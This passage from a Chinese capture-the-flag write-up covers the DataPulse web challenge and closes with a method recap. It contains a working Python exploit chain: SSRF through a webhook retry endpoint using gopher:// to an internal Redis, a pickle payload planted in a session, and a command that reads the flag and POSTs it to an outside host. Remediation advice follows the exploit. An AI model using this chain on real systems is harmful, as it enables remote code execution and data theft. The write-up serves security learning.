BASE + "/register/",
json={"username": USERNAME, "password": PASSWORD, "email": ""},
timeout=20,
)
self.s.post(
BASE + "/login/",
json={"username": USERNAME, "password": PASSWORD},
timeout=20,
)
def req(self, method, path, **kwargs):
for _ in range(6):
r = self.s.request(method, BASE + path, timeout=25, **kwargs)
if r.status_code not in (502, 503, 504):
return r
time.sleep(1)
return r
def create_task(self):
r = self.req(
"POST",
"/tasks/create/",
json={
"name": "exploit",
"type": "csv_analysis",
"parameters": {"data": "a\n1"},
"webhook_url": "http://example.com/",
},
)
return r.json()["task_id"]
def retry(self, task_id, url):
return self.req(
"POST",
f"/tasks/{task_id}/retry-webhook/",
json={"url": url},
)
def redis_cmds(client, task_id, cmds):
payload = b""
for cmd in cmds:
payload += ("*%d\r\n" % len(cmd)).encode()
for arg in cmd:
if isinstance(arg, str):
arg = arg.encode()
payload += b"$%d\r\n%s\r\n" % (len(arg), arg)
url = "gopher://127.1:6379/_" + urllib.parse.quote(payload, safe="")
r = client.retry(task_id, url)
return r.json().get("log", {}).get("response_body")
def main():
c = Client()
task_id = c.create_task()
session_id = c.s.cookies.get("dp_session")
session_key = ":1:django.contrib.sessions.cache" + session_id
# 使用 base64 避免引号问题
script = (
"/readflag > /tmp/flag_out.txt 2>&1\n"
"python3 -c \"import urllib.request;"
"d=open('/tmp/flag_out.txt','rb').read();"
"req=urllib.request.Request('%s', data=d, method='POST');"
"print(urllib.request.urlopen(req, timeout=10).status)\""
) % HOOK
cmd = "echo %s | base64 -d | sh" % base64.b64encode(script.encode()).decode()
payload = os_system_pickle(cmd)
print(redis_cmds(c, task_id, [
["SELECT", "1"],
["SET", session_key, payload],
]))
# 触发 Session 反序列化
c.req("GET", "/dashboard/")
if __name__ == "__main__":
main()八、修复建议
- Webhook 地址校验
- 使用严格的 URL 解析,限制协议为
http/https; - 禁止
gopher/dict/file等协议; - 解析域名后校验 IP,禁止回环、内网、链路本地地址;
- 禁止跟随重定向,或对重定向目标再次校验。
- Redis 安全
- 设置强密码,禁止未授权访问;
- 绑定
127.0.0.1或内网地址,并通过安全组隔离; - 禁用或重命名
CONFIG、MODULE、SLAVEOF等危险命令。
- Session 安全
- 不要使用 Pickle 作为 Session 序列化方式;
- 使用签名且不可篡改的 Session(如 Django 默认的签名 Cookie 或 JSON Session);
- Session 数据中不要信任客户端可控内容。
- 权限最小化
- 容器内不要保留 setuid 程序;
- flag 文件权限应严格控制,避免通过应用进程读取。
九、Flag
DASCTF{30433301935994253763448862053766}4. 统一复盘
题型之间的共同点
- 多数题目都把最终目标拆成多个状态或多层服务,需要先还原协议、对象图或状态机,再定位真正的读 flag 路径。
- 题目普遍存在看似可行但无法闭环的干扰项:例如直接读文件、直接覆盖返回地址、只按表面语义模拟 VM,最终都需要回到真实的校验链。
- 复现时应保留每一步的泄露值、状态快照、关键地址和中间输出,用差分验证替代一次性猜测。
按类别整理的关键方法
- PWN:先确认输入边界与内存对象生命周期,再处理地址泄露、写原语、协议认证和控制流劫持;多级服务题要沿着当前进程能做什么、下一层需要什么逐层推进。
- 逆向:先建立准确的 ISA/状态布局,再做局部模拟与逐轮快照对照;可逆变换优先求逆,不要直接爆破。
- WEB:先验证 SSRF 的可达范围,再判断内网服务协议是否可构造,随后审查服务端状态存储与反序列化边界,最后确认命令执行与 flag 读取权限。
文件来源
- 羊城杯2026-WP汇总.md:PWN 与其他题目进展汇总。
- ycb_wp.md:千千的咲、VVMM 两题的逆向 Writeup。
- DataPulse_Writeup.md:DataPulse WEB 题 Writeup。